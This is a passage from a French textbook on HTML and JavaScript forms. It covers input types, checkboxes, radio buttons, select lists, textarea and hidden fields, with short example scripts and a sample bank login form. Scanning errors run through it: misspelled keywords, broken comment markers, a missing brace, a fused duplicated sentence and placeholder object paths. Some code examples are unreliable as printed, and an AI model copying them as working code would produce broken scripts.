• onBlur apparaît lorsque l'on perd le focus, c'est-à-dire lorsque le curseur de saisie
quitte la zone de saisie des caractères.
• onChange apparaît lorsque la valeur qui existait dans la zone est changée, soit que
l'on modifie la valeur par défaut, soit que l'on saisisse dans une case préalablement
vide, soit que l'on modifie une valeur précédemment acquise.
• onFocus apparaît dès que l'on clique dans la case de saisie.
• onSelect apparaît lorsque l'on sélectionne le texte dans la zone de saisie.
Les événements se programment toujours de la façon suivante :

203
 Programmation HTML et JavaScript

Nom_d'événement=fonction_de_traitement(parametre1, parametre...)
Même si aucun paramètre n'est nécessaire pour traiter l'événement, le jeu de parenthèses
est obligatoire.

Exemple de traitement d'événements dans la balise <INPUT>

L'exemple suivant illustre le fonctionnement des événements onFocus et onChange.
Pour l'instant, on peut ne pas s'attacher au codage des deux fonctions, mais il est impor­
tant de faire le lien entre ces fonctions et leurs spécifications dans la balise HTML.

<html><head><title>Test balise input</title>

<script>

function aideContexte(texte) {
// affichage dans la ligne de status du browser du
// message qui est reçu dans l'argument "texte"
status=texte;
}
function verifNum(valeur){
// vérification que la chaine de caractères representee par
/ / l'argument "valeur" ne contient que des carateres numériques
for (var i=0; i<[Link]; i++) {
var caractere=[Link](i,i+1);
if (caractere < "0" || caractere > "9") {
alert ("Entrez des chiffres uniquement !");
return false;
}
}
return true;

</script>

<body>
<form name="formFiche">

204
Les formulaires

<input name ="montant" onFocus="aideContexte('indiquez le montant

sans les centimes')" onChange="verifNum([Link])">
</form>
</body></html>

Quelques mots d'explication sur la fonction verifNum. On effectue un balayage de tout

les caractères contenus dans la chaîne "valeur" à l'aide d'une boucle for commençant au
premier caractère (i=0) et se terminant au dernier (i=[Link]-l). L'extraction d'un
caractère de la chaîne est obtenue par la méthode substring. On teste pour chacun des
caractères s'il appartient à l'ensemble des chiffres (0-9).
Voir le manuel JavaScript Les instructions de base, page 380 pour le codage des ins­
tructions.
Voir le manuel JavaScript Les chaînes de caractères comme objets, page 361 pour la
méthode substring.

<INPUT TYPE=PASSWORD>
Cet élément est identique à l'objet TEXT que nous venons de décrire pour ce qui con­
cerne ses propriétés et ses méthodes, mais il n'a AUCUN événement associé. Il est utilisé
pour saisir une information confidentielle (mot de passe par exemple). Dans cette zone,
les caractères tapés sont toujours remplacés par une étoile.

Entrez votre <input type="password" name="pwd">

donne après la frappe de six caractères :

<INPUT TYPE=SUBMIT>
Si le formulaire ne comportait qu'une balise <INPUT>, on pourrait déclencher le traite­
ment simplement en tapant le caractère "return". Si le formulaire comporte plusieurs élé­
ments de saisie, il devient alors nécessaire de disposer d'un ou plusieurs éléments de
déclenchement.
La balise <INPUT> dont l'attribut TYPE prend la valeur SUBMIT définit un bouton qui
déclenche l'envoi de tous les champs du formulaire vers le script CGI de traitement.
Il peut y avoir plusieurs boutons submit dans un formulaire en fonction de l'opération
que l'on désire effectuer. (Par exemple, après s'être indentifié auprès de sa banque, on
trouvera des boutons submit pour consulter son compte, commander un chéquier, effec­
tuer un virement).

L'attribut NAME
Cet attribut est souvent omis lorsqu'il existe un seul bouton de soumission pour le for­
mulaire. Il peut cependant servir lorsque l'on réalise un formulaire en plusieurs étapes
(plusieurs pages HTML différentes) et que le script CGI qui génère les pages est toujours
le même. Une des méthodes possibles pour reconnaître quelle est la page qui envoie des
données est d'analyser le nom associé au bouton qui a provoqué l'appel.

205
 Programmation HTML et JavaScript

L'attribut VALUE
Il permet de spécifier essentiellement le texte qui sera inscrit sur le bouton, mais aussi
d'identifier le bouton qui a été sollicité dans le cas où il existerait plusieurs boutons de
soumission portant le même nom sur la même page.

<input name="envoi" type="submit" value="Validez">

provoque l'affichage suivant :

Les propriétés de l'objet SUBMIT

Il possède trois propriétés
• name donne le nom qui a été choisi pour cette balise.
• value retourne la valeur affichée sur le bouton.
• type retourne le type de l'objet (submit).

...[Link][n] qui va renvoyer envoi

...[Link] qui va renvoyer envoi
...[Link][n].value qui va renvoyer Validez
...[Link] qui va renvoyer Validez
...[Link][n].type qui va renvoyer submit
...[Link] qui va renvoyer submit
Les méthodes de l'objet SUBMIT
La seule méthode applicable sur l'objet SUBMIT est la méthode click.
Cette méthode permet de simuler dans le script JavaScript l'action que fait l'utilisateur
en cliquant sur le bouton.
Toujours dans notre exemple, si dans une fonction JavaScript, on programme l'instruc­
tion suivante :
...[Link]()
cela aura le même effet que d'appuyer sur le bouton.
Dans quel cas cela peut-il être utile ? Imaginons un formulaire avec un certain nombre de
champs de saisie. A chaque saisie d'un champ, un programme JavaScript s'exécute, teste
la validité de la donnée acquise et la stocke en mémoire. Lorsque la dernière donnée est
saisie, le programme effectue automatiquement la soumission en "cliquant lui-même" sur
le bouton. Le bouton submit ne sera utilisé que si on l'on souhaite envoyer le formulaire
partiellement rempli.

L'événement associé à l'objet SUBMIT

L'événement associé au bouton de soumission est onClick qui permet d'exécuter une
fonction lorsque l'utilisateur appuie sur le bouton de soumission.
<input name="envoi" type="submit" value="Validez" onClick=verif()>

206
Les formulaires

<INPUT TYPE=CHECKBOX>
Le type CHECKBOX sert à définir des ensembles de cases à cocher permettant un choix
multiple entre différentes valeurs attribuables à une même variable (définie par name) ou
à des variables différentes. Ce type d'élément, dans une utilisation traditionnelle pourrait
tout à fait être comparé à une liste à sélection multiple. Nous verrons dans l'exemple
JavaScript que l'on peut réaliser avec cet élément des fonctionnements plus astucieux.
Les balises HTML suivantes :

<input type="checkbox" name="micro" value="mac" checked>Macintosh<br>

<input type="checkbox" name="micro" value="pc" checked>PC<br>
<input type="checkbox" name="micro" value="ux">Station Unix

provoqueront l'affichage :

L'attribut NAME
Il permet de nommer les éléments de case à cocher, avec un même nom pour plusieurs
éléments ou avec des noms différents pour chaque élément.

L'attribut VALUE
Cet attribut permet de spécifier la valeur envoyée vers le script, cette valeur étant identi­
fiée par l'attribut NAME.

L'attribut CHECKED
Il permet de positionner par défaut le bouton en mode validé (bouton enfoncé ou bouton
coché selon le type de plate-forme).

Les propriétés de l'objet CHECKBOX

Cet objet possède cinq propriétés
• name donne le nom qui a été choisi pour cette balise.
• value retourne la valeur (value) programmée dans la balise.
• type retourne le type de l'objet (checkbox).
• checked retourne true si la case est validée, false dans le cas contraire.
• defaultChecked retourne true si la case est validée par la balise (attribut CHEC­
KED), false dans le cas contraire.
Dans notre exemple, un nom unique (micro) a été choisi pour les trois balises. Cet
ensemble se comporte donc comme un tableau, si bien qu'on accède aux propriétés par
leurs indices. Attention un formulaire peut être considéré comme un tableau : on a dans
ce cas un tableau de tableau nécessitant deux indices [k.n] k représente l'indice de
l'ensemble des balises micro, et n l'indice d'un des éléments de micro.

...[Link][n].name qui renvoie micro

mais aussi

207
 Programmation HTML et JavaScript

...[Link][k.n].name qui renvoie micro

...[Link][n].name qui renvoie micro

...[Link][n].value qui renvoie mac pour n=0

qui renvoie pc pour n=l
qui renvoie ux pour n= 2
mais aussi
...[Link].[k.n].value qui renvoie mac pour n=0
qui renvoie pc pour n=l
qui renvoie ux pour n= 2

...[Link][n].type qui renvoie checkbox

...[Link][n].checked qui renvoie true pour n=0
...[Link][n].defaultChecked qui renvoie true pour
n=0
Ces derniers exemples peuvent bien sûr être aussi référencés avec un double indice.

La méthode de l'objet CHECKBOX

Il s'agit encore de la méthode Click, qui permet par une instruction du script de position­
ner la case en mode coché.
...[Link][n].click()

L' événement associé à l'objet CHECKBOX

L'événement associé à l'objet Checkbox est onClick qui permet d'exécuter une fonction
lorsque l'utilisateur coche la case correspondante.
<input name="micro" type="checkbox" value="Validez" onClick=tagada>

Exemple de traitement d'événements sur la CHECKBOX

Dans le TGV, il n'est possible de se faire servir un repas à sa place qu'en première classe.
Le formulaire ci-dessous fonctionne ainsi :

• Si l'on coche "première classe", on décoche automatiquement "deuxième classe". On

peut alors cocher la case "demande de repas".
• Si l'on coche la "deuxième classe", on décoche automatiquement "première classe" et
ondécoche aussi la case "demande de repas".
• Si l'on coche "demande de repas", on décoche automatiquement "deuxième classe" si

208
Les formulaires

elle était cochée, et on coche automatiquement "première classe".

<html>
<head><title>TGV</title>
<script>
function trait(num) {
//classe[0] = 1ere classe
//classe[1] = 2nd classe

if (num==1) {
//on a clique sur 1ere classe qui etait coche OU decoche
//on declique 2eme classe
[Link][1].checked=false;
if ([Link][0].checked==false) {
// si on décoche,alors on decoche aussi repas
[Link]=faise
}
}
if (num==2) {
// on a clique sur 2eme classe
/ / o n declique 1ere classe
[Link][0].checked=false;
/ / o n declique repas
[Link]=false;
}
if (num==3 ) {
// on a clique sur repas
if ([Link][1].checked==true)
// si 2eme classe était cochee alors on le decoche
[Link][1].checked=false;
// dans tous les cas on coche alors 1ere cl
[Link][0].checked=true;
}
}
</script>
</head><body>
Les repas &agrave; la place ne sont servis
qu'en premi&egrave;re classe.<br>
<form name="form1">
<input type="checkbox" name="classe" value="1" onClick=trait(1)>
1 ere Classe<br>
<input type="checkbox" name="classe" value="2" onClick=trait(2)>
2 eme Classe<br>
<input type="checkbox" name="repas" value="avec_repas"
onClick=trait(3)>
Repas<p>
</form>

209
 Programmation HTML et JavaScript

</body></html>

Les commentaires (//) insérés dans le code source expliquent le fonctionnement du

script.

<INPUT TYPE=RADIO>
On utilise généralement un ensemble de boutons radio pour choisir une et une seule
option parmi n. Le fonctionnement peut encore être dans ce cas assimilé à celui d'une
liste à selection unique. Cliquer sur un bouton "déclique" automatiquement les autres.
L'exemple suivant donne un choix exclusif entre disquette ou CD-Rom :

<input type="radio" name="media" value="cd" checked> CD-ROM

<input type="radio" name="media" value="dk"> Disquette

provoqueront l'affichage :

L'attribut NAME
Le browser identifie un ensemble de boutons radio par le fait qu'ils possèdent chacun le
même nom (attribut NAME).

L'attribut CHECKED
Il permet de sélectionner une option par défaut ou de valider l'option la plus probable.
Dans l'exemple ci-dessus, le bouton (CD-ROM) est enfoncé (ou coché).

Les propriétés de l'objet RADIO

Cet objet possède sept propriétés :
• name donne le nom qui a été choisi pour cette balise.
• value retourne la valeur (value) programmée dans la balise.
• type retourne le type de l'objet (radio).
• checked retourne true si la case est validée, false dans le cas contraire.
• defaultChecked retourne true si la case est validée par la balise (attribut CHEC­
KED), false dans le cas contraire.
• index donne le rang (l'indice) du bouton qui est enfoncé.
• length retourne le nombre d'éléments de type radio ayant le même attribut NAME
(donc définissant un bloc).
Dans notre exemple, un nom unique (media) a été choisi pour les deux balises. Cet
ensemble se comporte donc comme un tableau, si bien qu'on accède aux propriétés par
leurs indices. On est toujours dans le cas d'un formulaire pouvant être considéré comme
un tableau et on doit toujours considérer le double indice [k.n] k représente l'indice de
l'ensemble des balises media, et n l'indice d'un des éléments de media.

...[Link][n].name qui renvoie media

mais aussi

210
Les formulaires

...[Link][k.n].name qui renvoie media

...[Link][n].name qui renvoie media

...[Link][n].value qui renvoie cd pour n=0

qui renvoie dk pour n=l
mais aussi
...[Link].[k.n].valueq ui renvoie cd pour n=0
qui renvoie dk pour n=l

...[Link][n].type qui renvoie radio

...[Link][n].checked qui renvoie true pour n=0
...[Link][n].defaultChecked qui renvoie true pour
n=0
Ces derniers exemples peuvent bien sûr être aussi référencés avec un double indice.

La méthode de l'objet RADIO

Il s'agit encore de la méthode Click, qui permet par une instruction du script, de posi­
tionner la case en mode coché.
...[Link][n].click()

L'événement associé à l'objet RADIO

L'événement associé à l'objet RADIO est onClick, qui permet d'exécuter une fonction
lorsque l'utilisateur coche la case correspondante.
<input type="radio" name="media" value="cd" onClick=demande('cd')
checked> CD-ROM
<input type="radio" name="media" value="dk" onClick=demande('dk')>
Disquette

<INPUT TYPE=RESET>
Ce bouton permet à tout moment d'effacer les données qui sont en cours de saisie sur le
formulaire.

L'attribut NAME
C'est l'attribut qui permet de nommer le bouton à l'intérieur du formulaire.

L'attribut VALUE
Cet attribut sert essentiellement à afficher un texte sur le bouton.

<input name="init" type="reset" value= "effacer">

donne l'affichage : Effacez

211
 Programmation HTML et JavaScript

Les propriétés de l'objet RESET

Cet objet possède trois propriétés :
• name donne le nom qui a été choisi pour cette balise.
• value retourne la valeur (value) programmée dans la balise.
• type qui retourne reset.

La méthode de l'objet RESET

Il s'agit encore de la méthode Click, qui permet par une instruction du script de réinitia­
liser les données du formulaire. Encore une fois, précisons que la réinitialisation a lieu
lors de l'exécution d'une instruction et non sur le clic que peut faire l'utilisateur. Le clic
de l'utilisateur génère un événement.
...[Link]()
L'événement associé à l'objet RESET
L'événement associé à cet objet est onClick, qui permet d'exécuter une fonction lorsque
l'utilisateur clique sur le bouton.
<input type="reset" name="init" value="effacer" onClick=efface()>

<SELECT> et <OPTION>
Ce sont les balises réservées à la création de listes ou de menus dans lesquels l'utilisateur
pourra sélectionner des éléments. Ces balises permettent de fabriquer deux objets graphi­
quement différents : les menus déroulants (plus communément appelés pop-lists) et des
listes à ascenseur (scrolled-lists). Tous les items d'une liste seront spécifiés entre la balise
<SELECT> et la balise de fin </SELECT> à l'aide d'une balise <OPTION>.
La pop-list se présente sous la forme d'un bouton sur lequel est inscrit un seul des items
de la liste. Lorsque l'on clique sur le bouton, on déploie le contenu complet de la liste. Ce
type d'élément permet de prendre peu de place au niveau de la page, la liste n'apparais­
sant qu'à la demande.
Les scrolled-lists sont des listes apparaissant dans une fenêtre et dont on peut régler le
nombre de lignes visibles. Si la liste contient plus d'éléments que le nombre de lignes
programmées, un ascenseur apparaît automatiquement.

L'attribut NAME de la balise <SELECT>

Encore une fois, cet attribut permet de nommer l'objet à l'intérieur du formulaire. L'objet
SELECT est cependant un peu plus complexe, car c'est en fait l'ensemble des balises
<SELECT> et <OPTION> qui représentent l'objet select.

L'attribut SIZE de la balise <SELECT>

Si la valeur qui affecte l'attribut SIZE est supérieure à 1 l'objet select est une scrolled -
list ; dans le cas contraire ou s'il est absent, l'objet est une pop-list.

L'attribut MULTIPLE de la balise <SELECT>

Cet attribut n'a de sens que dans une scrolled-list. Il autorise la sélection simultanée de
plusieurs items de la liste.

212
Les formulaires

L'attribut VALUE de la balise <OPTION>

Cet attribut permet de définir la valeur qui va être passée au script CGI lorsque l'option
est sélectionnée.

L'attribut SELECTED de la balise <OPTION>

Dans le cas d'une pop-list, cet attribut définit l'option qui est séléctionnée par défaut sur
le bouton.
Dans le cas d'une scrolled-list, il permet de présélectionner un item de la liste.

Le code HTML suivant permet de réaliser une pop-list :

<select name="site">
<option value="[Link]">pluto (Cem)
<option value="[Link]">donald (In2p3)
<option value="[Link]" selected>mickey (Oregon)
</select>

l'affichage est le suivant : [Link]—i [

Tandis que le code suivant permet de générer une scrolled-list :

<select name="cwmenu" size=6>

<option value="intro">Introduction
<option value="hyper">Technique de l'hypertexte
<option value="enviro">L'environnement HTML
<option value="url">L'adressage des documents
<option values"struct">La structure du langage
<option value="balise">Les balises
<option value="accent">L'accentuation
<option value="table">Les tableaux
<option value="image">Les images
</select>

l'affichage produit est :

Si l'on modifie la première ligne avec l'introduction de l'attribut multiple :

<select name="cwmenu" size=6 multiple>

213
 Programmation HTML et JavaScript

cela permet alors ce type de sélection :

Les propriétés de l'objet SELECT

Cet objet possède les propriétés suivantes :
• name donne le nom qui a été choisi pour cette balise.
• type donne le type de l'objet SELECT, soit :
• select-one pour une pop-liste,
• select-multiple pour une liste à sélection multiple,
• select pour une liste à sélection simple.
• selectedlndex reflète l'index de l'option sélectionnée pour une liste à sélection uni­
que ou une pop-list, et l'index de la première option sélectionnée pour une liste à
sélection multiple. La propriété selectedIndex est la plus efficace pour connaître
l'index de l'option sélectionnée d'une liste à sélection simple. Si aucune option n'est
sélectionnée, la valeur de l'index retournée est égale à -1.
Si l'on veut connaître les options sélectionnées dans une liste à sélection multiple, il
convient de scruter tous les éléments (options) de la liste et de lire la propriété selec-
ted de chacun, comme le montre l'exemple suivant :

<script>
function quiEstSelect(){
for (i=0; i<[Link]; i++) {
if ([Link][i].selected == true)
alert (i+" sélectionne")
}
}
</script>
<form name=f1>
<select name=sl size=7 multiple>
<option value=op1>1
<option value=op2>2
<option value=op3>3
<option value=op4>3
</select>
<input type=button onClick=quiEstSelect()>
</form>

• length est un nombre représentant le nombre d'options de la liste.

Les méthodes de l'objet SELECT

blur et focus sont des méthodes qui n'ont pas vraiment d'utilité. Si la méthode focus()
permet bien de donner le focus sur une liste (et non sur une pop-list où cette méthode est
sans effet), elle ne permet pas d'en sélectionner une option. En fait, elle n'a d'autre effet

214
Les formulaires

que d'attirer l'attention sur la liste. La méthode blur() doit permettre de forcer la désélec­
tion de la liste.

Les événements associés à l'objet SELECT

Les événements associés à l'objet select sont :
• onChange, apparaît lorsque l'utilisateur effectue un changement d'une option (sélec­
tion ou désélection).
• onFocus, apparaît si l'on clique sur une option quelconque d'une liste. Il n'y a pas
d'événement onFocus sur une pop-list.
• onBlur, apparaît lorsque, après avoir cliqué sur une option d'une liste, on clique en
dehors de cette liste. Il n'y a pas d'événement onBlur sur une pop-list.

Les propriétés des options de l'objet SELECT

L'objet SELECT est certainement l'objet le plus intéressant parmi les éléments consti­
tuant une interface de saisie. En effet, les options composant cet objet peuvent être cons­
truites ou modifiées dynamiquement par du code JavaScript. Avant de passer à des
exemples concrets, examinons les différentes propriétés de l'option :
• defaultSelected renvoie true ou false selon que l'option est celle qui est sélectionnée
par défaut. Si aucune option d'une pop-list ne possède d'attribut selected, c'est le pre­
mier élément de la liste qui est considéré comme option sélectionnée par défaut.
Dans une liste standard (size > 1) defaultSelected n'est vrai que si une option est
explicitement marquée avec l'attribut selected.
• selected renvoie true si l'option est sélectionnée, false sinon.
• text renvoie le texte associé à l'option (<option value="fruit">bergamote renvoie
bergamote).
• value renvoie la valeur associée à l'option (<option value="fruit">bergamote renvoie
fruit).

Exemple de création et de suppression d'options

Dans cet exemple, on se propose d'afficher dans la liste de gauche un choix de fruits. Le
lecteur peut transférer les fruits de son choix dans la liste de droite en cliquant sur le bou­
ton ». Il peut revenir sur son choix en renvoyant le fruit dans sa liste d'origine par un
clic sur le bouton «.

215
 Programmation HTML et JavaScript

<html><head><title> transfert </title>

<script>

function SversDO {
indexS=[Link];
if (indexS < 0) return;
valeur=[Link][indexS].text ;
[Link][indexS]=null;
a = new Option(valeur);
indexD=[Link];
[Link][indexD]=a;
}
function DversS(){
indexD=[Link];
if (indexD < 0)return;
valeur=[Link][indexD].text;
[Link][indexD]=null;
a = new Option(valeur);
indexS=[Link];
[Link][indexS]=a;
}
</script>
<body>
<P>
<table>
<tr><td>
<form name=trans>
<select size=7 name=source>
<option>Citrons
<option>Oranges
<option>Pamplemousses
<option>Clementine
<option>Kiwis
<option>Bergamotes
<option>Grenades
</select>
<td>
<input type=button value=">>" onClick=SversD()><br>
<input type=button value="<<" onClick=DversS()>
<td>
<select size=7 name=destination>
</select>
</tr></table></body></html>

Comment ce script fonctionne-t-il ? Le clic sur le bouton » entraîne l'exécution de la

[Link]
fonction SversD. Danscette
cettefonction
fonctionononcommence
commencepar
parrepérer
repérerlelerang
rangdedel'élément
l'élémentqui
qui

216
Les formulaires

a été sélectionné et on le range dans la variable indexS (indexS=docu-

[Link]). Si cette variable contient
une valeur inférieure à zéro, c'est qu'aucun élément n'est sélectionné, dans ce cas, on
sort de la fonction (if (indexS < 0) return).
Si un élément (un fruit) a été sélectionné, on récupère dans la variable valeur la chaîne
de caractères contenant le nom du fruit (valeur=docu-
[Link][indexS].text). On efface le fruit choisi de la
liste de gauche en supprimant l'option correspondante de la liste (docu­
[Link][indexS]=null). Pour ce faire, on affecte la
valeur null à l'option considérée. On utilise ensuite le constructeur d'option pour cons­
truire une option dont le texte représente le fruit pris dans la liste de gauche et dont on
avait conservé le nom dans la variable valeur (a = new Option(valeur) ) ; cette
option est conservée dans la variable a. On détermine la longueur de la liste de droite et
on la stocke dans la variable indexD(indexD=[Link]­
[Link]). Comme la numérotation des options commence à zéro,
indexD correspond à l'indice de l'option que nous sommes en train de transférer de la
gauche vers la droite. Le transfert est enfin réalisé ([Link]­
[Link][indexD]=a).
La fonction inverse DversS fonctionne de façon tout à fait symétrique.

Exemple de modification du texte des options

Dans ce deuxième exemple, nous allons montrer comment on peut changer dynamique­
ment le texte d'une option dans un menu déroulant (pop-list). Le menu déroulant du bas
permet de choisir la langue (français ou anglais) ; selon la langue choisie, le menu dérou­
lant du haut affichera automatiquement les jours de la semaine dans la langue sélection­
née.

<html >
<head><title>test select</title>
<script>
function chLangue(forme) {
if (forme,[Link][1].selected == true) {
[Link][0].text = "Monday"
[Link][1].text = "Tuesday"
[Link][2].text = "Wenesday"
[Link][3].text = "Thursday"
[Link][4].text = "Friday"

217
 Programmation HTML et JavaScript

[Link][5].text = "Saturday"
[Link][6].text = "Sunday"
}
else {
[Link][0].text = "Lundi"
[Link][1].text = "Mardi"
[Link][2].text = "Mercredi"
[Link][3].text = "Jeudi"
[Link][4].text = "Vendredi"
[Link][5].text = "Samedi"
[Link][6].text = "Dimanche"
}

}
</script>
<body>
<form><font size=5>
<select name="jours">
<option>Lundi
<option>Mardi
<option>Mercredi
<option>Jeudi
<option>Vendredi
<option>Samedi
<option>Dimanche
</select>
<p>
<select name="langue" onChange="chLangue([Link])">
<option selected>Francais
<option>English
</select>
</form>

Cette petite interface fonctionne de la façon suivante : au chargement de la page, on posi­

tionne l'interface en français ; le menu "langue" affiche français et le menu déroulant des
jours de la semaine est en français.
Dans le second menu déroulant permettant de choisir la langue, on traite l'événement
onChange qui, lorsqu'il survient, appelle la fonction chLangue. Cette fonction teste si
la seconde option de la liste (celle dont l'indice est 1 et représente english) est sélection-
née(if ([Link][1].selected==true). Si tel est le cas,
on bascule l'interface en anglais en modifiant le texte des jours de la semaine
([Link][0].text="Monday"...).
Si les balises <OPTION> avaient défini des valeurs (<option value="...">), il
aurait été possible de les changer aussi en modifiant la propriété value
([Link][0].value=...).

218
Les formulaires

Exemple pour récapituler le fonctionnement des options de l'objet SELECT

Dans ce dernier exemple, on trouvera toutes les techniques de manipulation des listes. Il
montre comment créer une option, comment rechercher les options sélectionnées dans
une liste à sélection multiple, comment désélectionner des options, et enfin comment
supprimer des options.

<html>
<head>
<title>options</title>
</head>
<script>

function nelleOpt() {
// création d'une option dans la liste
if ([Link][0].elements[1].value=="") return;
n = new Option ([Link][0].elements[1].value) ;
var index = [Link][0].elements[0].[Link];
[Link][0].elements[0].options[index]=n;
[Link][0].elements[1].value="";
}

function chSel() {
// recherche de l'otion selectionnee
for (i=0; i<[Link][0].elements[0].[Link]; i++) {
if ([Link][0].elements[0].options[i].selected)
alert( i ) ;
}

219
 Programmation HTML et JavaScript

function deselSel() {
// deselection de toutes les options selectionnees
for (i=0; i<[Link][0].elements[0].[Link]; i++) {
if ([Link][0].elements[0].options[i].selected)
[Link][0].elements[0].options[i].selected=false;
}
}
function effSel() {
// effacement de toutes les options selectionnees
index = [Link] 10].elements[0].[Link];
for (var i=index-1; i>=0; i--) {
if ([Link][0].elements[0].options[i].selected) {
[Link][0].elements[0].options[i]= null;
}
}
}

</script>

<body>

<form name=ff>
<select name=ss size=6 multiple>
</select>
<br>
<input >
<p>
<input value="creer une option" type=button onClick="nelleOpt()">
<br>
<input value="rechercher la selection" type=button onClick="chSel()">
<br>
<input value="tout deselectionner" type=button onClick="deselSel()">
<br>
<input value="effacer les options selectionnees" type=button
onClick="effSel()">
<br>
</form>

</body>
</html>

220
Les formulaires

<TEXTAREA>
Cette balise permet de créer une zone de texte en spécifiant sa taille grâce aux valeurs
que l'on associera aux attributs ROWS et COLS. ROWS indique le nombre de lignes de
la fenêtre, tandis que COLS définit le nombre de colonnes.
Dans cette fenêtre, il est possible de prédéfinir un texte (entre les balises <TEXTAREA>
et </TEXTAREA>) que l'utilisateur pourra remplacer ou compléter par son propre texte.

<textarea name="comment" row=10 cols=40>

Entrez ici vos commentaires
</textarea>

affiche la fenêtre suivante :

Attention ! le bouton reset du formulaire n'efface pas le texte prédéfini. Celui-ci doit
être effacé manuellement.

Du point de vue JavaScript, l'objet TEXTAREA se comporte exactement comme l'objet

TEXT (voir page 202).

<INPUT TYPE=BUTTON>
Ce bouton n'a de sens que dans un contexte JavaScript. En effet, au niveau d'un CGI, il
ne permet pas de collecter une valeur (il n'a pas d'état). D'autre part, il n'a pas un com­
portement préprogrammé comme le bouton submit qui permet d'envoyer les données, ou
le bouton reset qui efface les données saisies. Son utilisation concernera donc essentielle­
ment la génération d'événements déclenchant des fonctions JavaScript.

L'attribut NAME
C'est l'attribut qui permet de nommer le bouton à l'intérieur du formulaire.

L'attribut VALUE
Cet attribut sert essentiellement à afficher un texte sur le bouton.

<i><input name="test" type="button" value=" Lancer "></i>

donne l'affichage :

221
 Programmation HTML et JavaScript

Les propriétés de l'objet BUTTON

L'objet BUTTON possède deux propriétés :
• name donne le nom qui a été choisi pour cette balise.
• value retourne la valeur (value) programmée dans la balise.

La méthode de l'objet BUTTON

Il s'agit encore de la méthode Click, qui permet par une instruction du script de réinitali-
ser les données du formulaire. Encore une fois, précisons que la réinitialisation a lieu lors
de l'exécution d'une instruction et non sur le clic que peut faire l'utilisateur. Le clic de
l'utilisateur génère un événement.
...[Link]()
L'événement associé à l'objet BUTTON
L'événement associé à l'objet BUTTON est onClick, qui permet d'exécuter une fonction
lorsque l'utilisateur clique sur le bouton.
<input type="reset" name="init" value="effacer" onClick=efface()>

Exemple d'utilisation
Cliquer sur le bouton "fermer" provoque la création au premier plan d'une fenêtre de
confirmation1 de fermeture. Si l'on répond "OK", on ferme simultanément la fenêtre
"Question" et la fenêtre principale qui contient le bouton "fermer".

<form><i>
<input type="button" value="fermer" onClick="[Link]()">

1. Cette fenêtre de confirmation n'apparaît pas si la fenêtre principale a été ouverte par
une instruction JavaScript du type [Link]...

222
Les formulaires

Exemples
Exemples
Voici maintenant quelques exemples complets de formulaires :

Voici maintenant quelques exemples complets de formulaires :

Exemple 1 :

<html>
<head>
<title>formulaires</title>
</head>
<body>
<h3>
<form method="post"
action="[Link]
Entrez votre e-mail
<input name="email">
puis
<input type="submit" value="Validez">
</form>
</h3>
</body>
</html>

223
 Programmation HTML et JavaScript

Exemple 2 :

<html>
<head><title>formulaires</title></head>
<body>
<b>
<form method="post" action="/cgi-bin/forml">
Entrez votre nom......
< input name= " nom "><br>
Entrez votre e-mail...
<input name=" email "><p>
<i>Quel(s) micro-ordinateur(s) utilisez vous ? </i>
<ol>
<li><input type= "checkbox" name= "micro" value="mac"> Macin­
tosh
<li><input type="checkbox" name= "micro" value="pc"> PC
<li><input type="checkbox" name="micro" value="ux"> Station
Unix
</ol>
<i>M&eacute;dia de distribution</i>
<input type="radio" name="media" value="cd"> CD-ROM
<input type="radio" name="media" value="dk"> Disquette
<p>
<input type="submit" value="Validez">
</form>
</b>
</body>

224
Les formulaires

Exemple 3 :

<html>
<head><title>formulaires</title></head>
<body>
<b>
<form method="post" action="/cgi-bin/forml">
Choississez un syst&egrave;me
<select name="host">
<option>[Link]
<option selected>[Link]
<option>[Link]
<option>[Link]
</select><br>
Entrez votre username
<input name="uname"><br>
Entrez votre password
<input type= "password" name="pwd"><br>
<input type="submit" value="login">
</form>
</b>
</body>
</html>

225
 Programmation HTML et JavaScript

Exemple 4 :

<html>
<head>< title>formulaires</title></head>
<body>
<b>
<form method="post" action="/cgi-bin/form1">
<h3>Choisissez les chapitres &agrave; imprimer</h3>
<select name="test" size=6 multiple >
<option>Introduction
<option>Technique de l'hypertexte
<option>L'environnement d'HTML
<option>L'adressage des documents
<option>La structure du langage
<option>Les balises
<option>L'accentuation
<option>Les tableaux
<option>Les images
<option>les images cliquables
<option>les formulaires
<option>La s&eacute;curit&eacute;
</select><p>
<input type="submit" value="imprimer">
<input type="reset" value="Tout d&eacute;s&eacute;lectionner">
</form>
</b>
</body>
</html>

226
Les formulaires

Le type HIDDEN
Comme son nom l'indique, ce type d'attribut permet de cacher un champ de classe input
ce qui signifie du point de vue graphique que rien n'apparaîtra dans le browser !

<input type="hidden" name=nom_de_variable value=valeur_de_la_variable>

A quoi peut servir cette fonctionnalité ?

Dans un formulaire électronique, il arrive que les questions posées à un instant dépen­
dent des réponses faites à l'instant précédent. On peut donc très bien imaginer la
séquence suivante :

• On génère un premier écran posant un certain nombre de questions.

• A partir des réponses issues de ce premier ensemble de questions, on génère un
deuxième écran comportant des questions complémentaires.

Comment cela fonctionnera-t-il dans des pages HTML ?

La première page s'exécute dans son cadre habituel : un fichier HTML standard définis­
sant un formulaire avec appel d'un script CGI.
Lors de son exécution, ce script construit un nouveau formulaire en tenant compte des
réponses précédentes. On va donc exécuter avec ce nouveau formulaire un second script
qui collectera de nouvelles données, mais devra aussi vraisemblablement faire connaître
au script de traitement les premières données collectées. Ce premier jeu de données
acquis lors de l'exécution du premier script est passé au second script à l'aide de champs
input avec l'attribut hidden1.
Tout se passera comme si le second formulaire faisait aussi l'acquisition des données du
premier formulaire.
Dans l'exemple de la figure 42 page suivante, un premier fichier HTML génère un écran
demandant au client d'une banque de s'identifier. Du résultat de l'identification dépend
l'exécution du formulaire suivant. Si l'identification est correcte, on propose un formu­
laire de choix d'opérations bancaires, sinon on génère un écran d'alerte.

1. N'oubliez jamais le fonctionnement totalement asynchrone de HTTP. On coupe la con­

nexion entre chaque requête vers un serveur, celui-ci n'ayant aucune mémoire de la
transaction précédente.

227
 Programmation HTML et JavaScript

Figure 41 - Formulaires et champs cachés

228
Les formulaires

<html>
<head><title>formulaires</title></head>
<body>
<h2> Banque de l'IN3P4</h2>
<h3>
<form method="post" action="[Link]
Entrez votre num&eacute;ro de compte
<input name="cpte" size=19><br>
Entrez votre code confidentiel
<input name="code" type="password"><br>
<input type="submit" value="Validez">
</form>
</h3>
</body>
</html>

Le script 1 collecte le numéro du compte et le code confidentiel, puis effectue le traite­

ment d'authentification et d'identification du client. Si le résultat est positif, il génère le
formulaire demandant le type d'opérations à effectuer. Il collecte le type d'opérations
